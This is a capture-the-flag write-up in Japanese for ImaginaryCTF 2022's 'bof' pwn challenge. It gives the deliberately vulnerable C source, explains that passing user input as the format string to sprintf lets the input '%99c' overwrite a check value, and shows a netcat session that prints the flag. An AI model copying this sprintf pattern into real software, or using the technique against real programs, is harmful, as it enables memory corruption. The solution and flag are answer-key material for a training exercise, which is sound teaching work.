[pwn] bof (100 pts, 104 solved)
Description
Can you bof me?
Attachments
https://imaginaryctf.org/r/naCsv#bof https://imaginaryctf.org/r/7ngbn#bof.c nc bof.chal.imaginaryctf.org 1337
#include <stdio.h>
#include <stdlib.h>
struct string {
  char buf[64];
  int check;
};
char temp[1337];
int main() {
  struct string str;
  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);
  str.check = 0xdeadbeef;
  puts("Enter your string into my buffer:");
  fgets(temp, 5, stdin);
  sprintf(str.buf, temp);
  if (str.check != 0xdeadbeef) {
    system("cat flag.txt");
  }
}
WriteUp
fgets(temp, 5, stdin);では、標準入力は5文字に制限されている。
しかしながら、sprintf(str.buf, temp);とあり、フォーマット文字列が使用できる。%99cを与えることで、99文字が書き込まれたこととなり、0xdeadbeefを上書きできる。
┌──(parrot㉿parrot)-[/ctf/ctf-event/ImaginaryCTF 2022/pwn/bof]
└─$ nc bof.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Enter your string into my buffer:
%99c                                                                             ictf{form4t_strings_4re_c00l_051c94e1}